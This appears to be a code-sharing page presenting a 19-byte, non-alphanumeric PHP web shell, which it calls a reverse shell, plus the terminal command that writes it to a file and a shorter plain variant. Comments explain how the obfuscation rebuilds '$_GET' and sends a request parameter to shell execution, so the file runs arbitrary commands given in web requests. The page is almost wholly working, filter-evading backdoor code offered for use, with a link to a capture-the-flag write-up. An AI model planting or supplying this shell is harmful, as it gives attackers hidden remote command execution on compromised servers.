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The shortest non-alphanumeric reverse shell script (19 bytes)
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<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; | |
/* | |
* In terminal: | |
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php | |
* This is how the code will be produced, \xa0\xb8\xba\xab will be | |
* treated as constant therefore no " needed. It is also not copyable | |
* string because of non-ascii characters | |
* | |
* Explanation: | |
* - ~"\xa0\xb8\xba\xab" <-> "_GET" | |
* - ${"_GET"}["\xa0"] <-> $_GET["\xa0"] | |
* - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"]) | |
* | |
* This is only 3 bytes longer than the shortest PHP reverse shell! | |
* <?=`{$_GET[_]}`; | |
* | |
* This is a slightly improved idea that I had 2 years ago | |
* https://github.com/terjanq/Flag-Capture/blob/master/MeePwn%202018/omega/README.md#part2 | |
*/ |
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